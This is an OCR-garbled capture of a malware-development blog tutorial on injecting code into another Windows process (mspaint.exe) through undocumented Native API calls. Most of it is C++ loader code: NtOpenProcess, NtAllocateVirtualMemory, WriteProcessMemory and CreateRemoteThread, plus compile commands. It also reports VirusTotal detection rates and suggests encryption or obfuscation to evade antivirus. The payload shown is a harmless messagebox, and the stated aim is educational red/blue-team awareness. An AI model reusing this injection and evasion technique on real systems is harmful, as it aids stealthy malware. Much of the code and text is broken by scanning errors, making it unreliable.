Code injection via undocumented Native API functions.
Simple C++ example.
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In the previous posts | wrote about DLL injection via undocumented NtCreateThreadEx and
NtAllocateVirtualMemory.

The following post is a result of self-research of malware development technique which is
interaction with the undocumented Native API.

Today | tried to replace another function openProcess with undocumented Native API
function NtopenProcess.

First of all, let’s take a look at function NtOpenProcess syntax:

1/11


https://cocomelonc.github.io/tutorial/2021/12/11/malware-injection-11.html
https://cocomelonc.github.io/tutorial/2021/12/06/malware-injection-9.html
https://cocomelonc.github.io/tutorial/2021/12/07/malware-injection-10.html

__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(

[out] PHANDLE ProcessHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PCLIENT_ID ClientId

)

Here it is worth paying attention to the objectAttributes and ClientId parameters.
ObjectAttributes - a pointer to an OBJECT ATTRIBUTES structure that specifies the
attributes to apply to the process object handle. This has to be defined and initialized prior to
opening the handle. clientId - a pointer to a client ID that identifies the thread whose
process is to be opened.

In order to use NtopenProcess function, we have to define its definition in our code:

PYOID UniqueProcess;
PVOID UniqueThread;
CLIENT_ID, = PCLIENT_ID;

ypedef NTSTATUS{NTAPI* pNtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK AccessMask,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientID

ayload[] =

Similarly, OBJECT_ATTRIBUTES and PCLIENT _ID need to be defined. These structures are
defined under NT Kernel header files.

We can run wWinDBG in local kernel mode and run:

dt nt!_OBJECT_ATTRIBUTES
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REMNMME2L Ddbt HXETTITIIIOWD 20d4ddIOdd FHSLOdUBUMOUU L2l 1S L
Debug session time: Mon Dec 13 11:17:43 2021 (UTC + 6
System Uptime: @ days ©:09:47.876

_OBJECT _ATTRIBUTES
LEﬂgth : Uint4B
RootDirectory : Ptred Void
} ObjectName : Ptred4 _UNICODE_STRING
Attributes : Uint4B
5 ityDescriptor : Ptréd Void
JualityOfService : Ptred Void

typedef struct _OBJECT_ATTRIBUTES {

ULONG Length;

HANDLE RootDirectory;

PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVYOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

Then run:

dt nt!_CLIENT_ID

dt nt! CLIENT ID
UniqueProcess : Ptred Void

UniqueThread : Ptréed Void
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and:

~ PHAND

PVOID

ypede

“PVOID

PVOID

éécurit&ﬂﬁélitﬁﬂfiérvice;
OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

struct _CLIENT_ID {

UniqueProcess;
UniqueThread;

CLIENT_ID, * PCLIENT_ID;

def NTSTATUS(NTAPI* pNtOpenProcess)(
LE ProcessHandle,

ACCES

POBJECT_ATTRIBUTES ObjectAttributes,
PCLIE

S_MASK AccessMask,

NT_ID ClientID

dt nt!_UNICODE_STRING

There is one more caveat. Before returning the handle by the NtopenProcess function/
routine, the Object Attributes need to be initialized which can be applied to the handle. To
initialize the Object Attributes an IntitializeObjectAttributes macro is defined and

: Uint2B
: Uint2B
: Ptred Wchar

typedef struct _UMICODE_STRING

USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
UNICODE_STRING, * PUNICODE_STRING:

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;

HANDLE RootDirectory;
PUNICODE_STRING DbjectName;
ULONG 3
PVOID

PVOID
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invoked which specifies the properties of an object handle to routines that open handles.

#pragma comment(lib, "ntdll")

#define InitializeObjectAttributes(p,n,a ".'3} 1
(p)-=Length = sizeof( USJECT HTTPIB”TE5 \
RootDir ﬁft:"y = (r); \
-Attributes a )
ObjectName = (n); \
(p)-=SecurityDescriptor = (s); \
(p)-=SecurityQuality0fService = NULL; \

ypedet NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,

ULONG Protect

int main(int argc, char* argv[]) {
HANDLE ph;
HANDLE rt:
PVOID rb;
DWORD pid;

pid = atoi(argv[1]);
OBJECT_ATTRIBUTES oa;

CLIENT_ID cid;
InitializeObjectAttributes(&oa, NULL, O, NULL, NULL);

cid.UniqueProcess = {PUUID} pid;
cid.UniqueThread =

EMODULE ntdll = GetModuleHandleA( "ntdll");
IntitializeObjectAttributes

Then, loading the ntd11.d11 library to invoke NtOpenProcess:



https://docs.microsoft.com/en-us/windows/win32/api/ntdef/nf-ntdef-initializeobjectattributes

int main(int argc, char* argv[]) {
HANDLE ph;
HANDLE rt;
PVOID rb;
DWORD pid;

pid = atoi(argv[1]);
OBJECT_ATTRIBUTES oa;

CLIENT_ID cid;
InitializeObjectAttributes(&oa, NULL, @, NULL, NULL);

cid.UniqueProcess = (PV0ID) pid;
cid.UnigueThread = 0;

HMODULE ntdll = GetModuleHandleA("ntdll");
printf("PID: %i*, pid);

pNtOpenProcess myNtOpenProcess = (pNtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess");
pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMemory )GetProcAddress(ntdll, "NtAllecateVirtualMemory");

myNtOpenProcess(&ph, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, &oa, &cid);
(!ph) {

printf( fallea to open pr

]

And then get starting addresses of the our functions:

int main(int argc, char* argv[]) {
HANDLE ph;
HANDLE rt;
PVOID rb;
DWORD pid;

pid = atoi(argv[1]);
OBJECT _ATTRIBUTES oa;

CLIENT_ID cid;
InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);

cid.UniqueProcess = (PYOID) pid;
cid.UniqueThread = 0;

HMODULE ntdll = GetModuleHandleA( "ntdll");

printf("PID: %i", pid);

pNtOpenProcess myNtOpenProcess = (pNtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess™);

pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
myNtOpenProcess(&ph, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, &oa, &cid);

(!ph) {
printf("failed to open process :(\n");

And finally open process:

InitializeObjectAttributes(&oa, NULL, ©, NULL, NULL);
cid.UniqueProcess = (PVOID) pid;
cid.UniqueThread = 0;

HMODULE ntdll = GetModuleHandleA("ntdll");
printf("PID: si", pid);
pNtOpenProcess myNtOpenProcess = (pNtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess™);
pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVLrtualMemory)GetProcAddress{ntdll NtAllocateVirtualMemory");
myNtOpenProcess(&ph, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, &oa, &cid);
(!ph) {

printf("failed to

-2

myNtAllocateVirtualMemory(ph, &rb, @, (PULONG)&my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

And otherwise the main logic is the same.




pNtOpenProcess myNtOpenProcess = (pNtOpenProcess )GetProcAddress(ntdll, IR
pNtAllocateVirtualMemory myNtAllocateVirtualMemory = (pNtAllocateVirtuall ProcAddress(ntdll, "Nt

myNtOpenProcess(&ph, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, &oa, &cid);

(!ph) {

printf("f
myNtAllocateVirtualMemory(ph, &r , (PULONG)&ny_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload, my_payload_len, MULL);

't = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, MULL, @, NULL);
CloseH e(ph);

IIEJﬁ’J! 100% = 131/131 ln : 1

As shown in this code, the Windows API call openProcess can be replaced with Native API
call function NtopenProcess. But we need to define the structures which are defined in the
NT kernel header files.

The downside to this method is that the function is undocumented so it may change in the
future.

Let’'s go to see our simple malware in action. Compile hack. cpp:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-
all-constants -static-libstdc++ -static-libgcc -fpermissive

@ 2021-12-11-malware-injection-11 : bash — Konsole

File Edit Wiew Bookmarks Settings Help

64-mingw32-g++ hack.cpp -o hack.exe -mconsele -Ifusr/share/mingw-w64/include/ -s -ffunctio
ata-sections -Wno ite-strings -fno-exceptions -fmerge-all-constants -static-Llibstdc++ -5
tatic-11 c -fpermissive
hack.cpp: In function ‘int main(int, char**)’:
hack.cpp:103:23: cast to pointer from integer of different size [

183 | cid.UniqueProcess = H
|

zhas@

ir-x 1 zhas zhas 408448 Dec 13 12:39 ha
-r-- 1 zhas zhas 4481 Dec 11 23:5
zhasa

|

Then, run process hacker 2:
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9 win10-x64 [Running] - Oracle VM VirtualBox
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)

E

g J

For example, the highlighted process mspaint.exe

Let’s run our simple malware:

.\hack.exe 4964

100% (=)

is our victim.
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File  Edit View

load_len =

HANDLE ph;
HANDLE rt;
PVOID r

int main(int argc, r* argv[]) {

pid = atoi(argv[1]);
OBJECT_ATTRIBUTES oa;

0

ibut
(PVOID) p

cid.UniqueThr

AMODULE nt

GetModuleHandleA(
printf( pid

myNt0
AllocateVirtualMemor
myNtOpenProc ph, PROC

(!ph) {
printf(

| Name PID

_VM_Wk
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Meow-meow!

As you can see our meow-meow messagebox is popped-up.

Let’s go to investigate properties of our victim process PID: 4964:

De ™
Wi
Us
De
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Machine View Input

General Statl

Hide free

Base addre

0x7i71b 15
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P et P

As you can see, our meow-meow payload successfully injected as expected!

B " Results - mspaint.exe (4964)

3,328 results.
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&Paste
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Filter
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o

BorEd#EEE E ¢ 0 Rght cul

As you can see the main logic is the same with previous NT API function call techniques but
there is a caveat with defining the structures and associated parameters. Without defining

this structures the code will not run.

The reason why it's good to have this technique in your arsenal is because we are not using
OpenProcess which is more popular and suspicious and which is more closely investigated
by the blue teamers.

Let’s go to upload our new hack.exe with encrypted command to Virustotal (13.12.2021):
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Z 9f4213643891fc14473948deb15077d9b7bad2da3db467932e57e7e383e535e6

LY
5 @ 5 security vendors flagged this file as malicious
. p
9f4213643891fc14473948deb15077d9b7bad2da3dba67932e57e7e383e5356 39.50KB
nack.exe -
6dbits  assembly peexe
x mmunity

DETECTION DETAILS BEHAVIOR COMMUNITY

Ikarus (D) TrojanWiné4.Rozena MaxSecure
Microsoft Q/ Trojan:Win32/Sabsik.FL.BIml SecureAge APEX
Symantec (1) Meterpreter Acronis (Static ML)
Ad-Aware &) Undetected AhnLab-V3

https://www.virustotal.com/gui/file/9f4213643891fc14473948deb15077d9b7b4d2da3db46793

I>
u

2021-12-13 07:05:03 UTC Q
t EXE

L';‘ Trojan.Malware.300983.susgen
(D) Malicious
() Undetected

(%) Undetected

2e57e7e383e535e6?nocache=1

So, 5 of 65 AV engines detect our file as malicious.

If we want, for better result, we can add payload encryption with key or obfuscate functions,

or combine both of this techniques.

| hope this post spreads awareness to the blue teamers of this interesting technique, and

adds a weapon to the red teamers arsenal.

WinDBG kernel debugging
VirtualAllocEx
NtOpenProcess
NtAllocateVirtualMemory
WriteProcessMemory
CreateRemoteThread
source code in Github

This is a practical case for educational purposes only.

Thanks for your time and good bye!
PS. All drawings and screenshots are mine
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